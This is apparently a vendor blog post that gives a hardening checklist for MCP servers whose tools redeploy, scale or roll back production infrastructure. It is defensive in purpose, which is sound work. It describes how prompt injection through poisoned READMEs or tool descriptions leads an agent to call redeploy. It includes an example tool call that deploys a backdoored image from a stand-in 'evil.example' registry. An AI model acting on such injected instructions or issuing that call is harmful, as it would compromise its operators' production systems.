Your deploy pipeline now takes natural-language input from the internet. That is what happens the moment you put a deploy-capable MCP server in front of production: every tool you expose — redeploy, scale, roll back, read logs — becomes callable by an agent that reasons over untrusted text and occasionally does exactly what a stranger's README told it to do.
The protocol made this easy to build and said almost nothing about how to secure: authorization in MCP is optional, and the NSA's first security assessment of the protocol, its Cybersecurity Information Sheet on MCP published in May 2026, reiterates it. Adoption has outpaced safeguards — MCP SDKs now see 97 million-plus monthly downloads — while tool-poisoning research found attack success rates ranging from 0% on the best client to 100% on the worst across seven tested implementations.
This post is the checklist that closes that gap for one specific, high-stakes surface: an MCP server whose tools mutate real infrastructure. Everything below is ordered so the earliest items bound the worst failures first.
The hardening checklist, up front
If you take nothing else from this post, take this table. Each control maps to the attack it stops and the layer that enforces it — because a control the agent can talk its way around is a suggestion, not a control.
| # | Control | Stops | Enforced at |
|---|---|---|---|
| 1 | TLS on every remote transport | Credential and prompt interception on the wire | Reverse proxy / server listener |
| 2 | OAuth 2.1 + PKCE (or scoped API keys) for callers | Anonymous or god-token access to tools | Auth layer, before tool dispatch |
| 3 | Strict per-tool permissioning | A read-only agent invoking a destructive tool | Tool router, per identity |
| 4 | Scoped, short-lived credentials downstream | One leaked token becoming full infrastructure access | Secret issuance + tool runtime |
| 5 | JSON-Schema input validation on client and server | Malformed or malicious arguments reaching the tool | Both ends of the wire |
| 6 | Per-token rate limits | Runaway agents and hot-loop redeploys | API gateway / tool runtime |
| 7 | Redacted audit logging plus a tool inventory | Silent abuse and mystery tool sprawl | Server, append-only store |
The rest of this post earns each row: three threat walkthroughs showing how the failure actually happens, then the transport and API-layer details that make the mitigations structural.
Threat 1: The prompt-injected tool call
The attack starts nowhere near your server. An agent with access to your redeploy tool reads something hostile — a poisoned tool description from a third-party MCP server, a malicious instruction buried in a repo README, a pasted error log containing an indirect injection — and dutifully calls your production redeploy with attacker-chosen arguments. The 2026 threat-modeling study catalogued over 50 threats across the MCP client surface using STRIDE and DREAD, and indirect prompt injection through tool content was among the most reliable vectors. CrowdStrike's 2026 Global Threat Report documented threat actors injecting malicious prompts into legitimate generative AI tools at more than 90 organizations in 2025. OWASP lists prompt injection as LLM01 in its LLM Top 10 (2025) for the second edition running.
Three controls break this chain, and they work only in combination.
Per-tool permissioning first. The agent that reads logs should not possess a token that can invoke redeploy at all — not "can invoke it but was told not to." Scope tools the way you scope Unix users: read-only identities get read-only tools, and destructive tools require an identity minted for that purpose. Community servers already demonstrate the pattern — scope-gated tool sets where the server enforces which tools each credential may call, rather than trusting the operator's attention. When the injected instruction arrives, the call fails closed at the router because the credential was never authorized for that tool.
JSON-Schema validation on both ends second. Every MCP tool already declares an inputSchema; treat it as a security boundary, not documentation. The client validates before sending, and the server re-validates before executing — because from the server's side, the client is untrusted input. Consider what happens without it:
{
"name": "redeploy",
"arguments": {
"app": "billing-api",
"image": "registry.evil.example/billing-api:backdoored",
"replicas": 500
}
}A schema that constrains image to an allowlisted registry pattern and caps replicas at a sane maximum rejects this call before any controller sees it. A missing schema passes attacker-chosen strings straight into your deploy path. Validate types, enums, string patterns, and numeric ranges; reject unknown properties rather than ignoring them; and keep the server-side check authoritative even when the client SDK already validated.
Confirmation for destructive tools third. For actions that mutate production — deploys, rollbacks, scaling, secret rotation — require an explicit human approval step or a second, narrowly-scoped confirmation token. This is the control that catches the case where permissioning and validation both pass because the injected call was technically well-formed. The agent proposes; something that is not the agent disposes.
Threat 2: Credentials out through tool output
The second failure mode runs in the opposite direction. The agent calls a legitimate tool — get_logs, describe_service, run_migration — and the tool result contains a secret: a database URL with embedded password, a cloud API key from an environment dump, a signed token in a verbose error message. The agent then pastes it into chat, writes it to a ticket, or stores it in its own long-lived memory.
OWASP's AI Agent Security Cheat Sheet warns that agents leak through channels below the prompt: tool calls, API requests, and their own outputs. A system-prompt guardrail that says "never reveal secrets" cannot stop a tool call from returning a password column — enforcement has to happen at the data layer, before the secret reaches the agent.
The mitigations stack in depth order:
Short-lived, narrowly-scoped downstream credentials. Your MCP server talks to infrastructure with some credential — make sure it is not a god-token. Issue credentials that live for minutes, not months, and that authorize exactly the operation the tool performs: the get_logs tool holds a log-reader token, not the cluster admin kubeconfig. Then a leaked credential buys the attacker a small window into a small surface instead of the keys to everything. Rotate aggressively and prefer workload identity (IAM roles, SPIFFE-style attestation) over static secrets wherever the platform supports it.
Output filtering and redaction. Treat tool results as untrusted output. Redact known secret patterns (API keys, tokens, connection strings with embedded passwords) before the result crosses back to the agent, and design tools to return the minimum the agent needs — describe_service should return status and endpoints, not the full environment block. The servers that take this seriously enforce redaction in the server itself, not in the caller's discipline.
Audit logs that never store secrets. You need a complete record of who called what with which arguments — but that record must itself be redacted, append-only, and access-controlled. Log the tool name, the calling identity, the timestamp, the validated arguments with sensitive fields masked, and the outcome. An audit log containing plaintext credentials is just a second exfiltration path with better indexing.
Threat 3: The runaway redeploy loop
The third failure needs no attacker at all. An agent decides the deploy did not work — the health check flapped, the readiness probe was slow, the success signal was ambiguous — and retries. And retries.
Each retry is individually authorized, well-formed, and validated. Collectively they are a denial-of-service attack against your own deploy queue, your container registry rate limits, and your on-call's sleep. Autonomous retry is normal agent behavior; without bounds, it is indistinguishable from abuse.
Per-token rate limits are the primary brake. Limit tool invocations per credential per window — and set the destructive tools' limits much tighter than the read tools'. A get_status call every few seconds is observability; a redeploy call every few seconds is an incident. Return standard 429 responses with Retry-After so well-behaved clients back off, and alert when any token approaches its ceiling: sustained near-limit traffic from an agent credential is either a bug or a compromise, and both deserve a human.
Idempotency keys turn retries into no-ops. Require mutating tools to accept an idempotency key and treat a repeated key as "return the original result, do not re-execute." The agent can retry as aggressively as it likes; the second, tenth, and hundredth identical redeploy return the first call's outcome instead of queueing new rollouts. This single mechanism converts the most common runaway pattern from an outage into a log line.
Deploy windows and approval gates bound the blast radius in time. Even an authorized, rate-limited agent should not be able to redeploy production at 3 AM on a Saturday without a human in the loop. Restrict mutating tools to defined windows, require approvals outside them, and cap concurrent rollouts per app. These are ordinary release-engineering guardrails — the only new insight is that they now apply to API callers that never sleep and never get tired of clicking retry.
The transport layer is not optional
Everything above assumes the wire itself is trustworthy, which has to be built, not assumed. For MCP servers, the trust boundary sits between two transports with very different properties.
Stdio is a local boundary; Streamable HTTP is a network boundary. A stdio server's only client is its parent process, so the operating system is the access control. The moment a server listens on HTTP — the spec's official remote path, with SSE as the legacy fallback — it is reachable over a network, and every connection needs authentication, encryption, and authorization. Do not expose a remote MCP server directly to the internet; put it behind TLS termination at minimum, and treat binding to 0.0.0.0 without auth as a finding, not a default.
OAuth 2.1 is the spec's answer for remote auth. The MCP authorization specification defines an OAuth 2.1 flow — authorization code with PKCE, protected-resource metadata discovery per RFC 9728, scope step-up on 401 challenges — and the MCP SDKs now ship built-in support. The Python SDK (v1.23+) includes an OAuth 2.1 resource-server implementation, and the TypeScript SDK's HTTP transports accept an auth provider handling discovery, PKCE, token exchange, and refresh.
For machine-to-machine agent callers where interactive OAuth is awkward, scoped API keys over TLS are the pragmatic alternative — but keep them scoped per tool set, short-lived, and individually revocable. Either way, the rule from the NSA guidance holds: maintain an inventory of every deployed agent and tool with versioning, patch history, and known security concerns, and prefer supported, maintained MCP projects over unmaintained forks.
TLS everywhere, including inside the cluster. Internal-only does not mean trustworthy: cluster networks carry tenant traffic, compromised sidecars, and curious neighbors. Terminate TLS at the server or its sidecar, validate certificates rather than skipping verification "temporarily," and remember that the credentials your server accepts — OAuth tokens, API keys — travel on every request. Unencrypted MCP over HTTP is a credential-broadcast protocol with extra steps.
Least privilege by construction, not by convention
The through-line of every control above is where it is enforced. Each one lives in infrastructure the agent cannot negotiate with: the reverse proxy that terminates TLS, the auth layer that checks scopes before dispatch, the tool router that rejects unauthorized calls, the gateway that counts invocations per token, the append-only audit store. None of them depends on the agent reading instructions, following norms, or being a particular model that behaves well. That is what "least privilege by construction" means — the safe path is the only path the API offers, so a confused, buggy, or actively subverted agent still cannot exceed its authority.
For a self-hosted platform, this maps cleanly onto API-layer primitives you likely already operate: scoped API keys per agent identity, per-token rate limits at the gateway, structured audit logs shipped to immutable storage, and a tool registry that makes "which tools exist and who may call them" a queryable fact rather than tribal knowledge. The MCP server becomes one more API surface governed by the same controls — not a parallel universe where agents get the god-token because "it's just the AI assistant."
Start from deny-all and add capabilities one tool at a time, each with its scope, its rate limit, its schema, and its audit trail. Sign and verify MCP messages where the deployment supports it. Fuzz your tool schemas the way you would fuzz any API boundary. And re-audit on a schedule: every new tool is a new privilege, and tool sprawl is permission sprawl wearing a friendlier name.
Ship the checklist before the endpoint
The uncomfortable truth behind this whole post is a sequencing problem. Spinning up a deploy-capable MCP server takes an afternoon; the security boundary around it takes a deliberate project. The protocol's flexibility means nothing stops you from shipping in the wrong order — exposing redeploy over unauthenticated HTTP today and planning to add auth "before production," which arrives the moment the first agent bookmarks the URL. The NSA's May 2026 guidance exists precisely because so many deployments already run in that state.
So invert the order: TLS and auth before the first tool, per-tool scopes before the first destructive action, rate limits and audit logging before the first unattended agent. The checklist in this post fits on one screen and each row is independently shippable. Pick the row that bounds your worst failure, ship it this week, and work down the table. Your future self — the one who gets paged at 3 AM because an agent found the redeploy tool — will be glad you did.
Bex.co is the open-source, AI-native Render alternative — push a git repo, get a running HTTPS service on machines you own. Agents are first-class operators: deploy, rollback, and fleet status are API primitives built for least-privilege machine callers. Star the repo on GitHub or deploy your first app today.



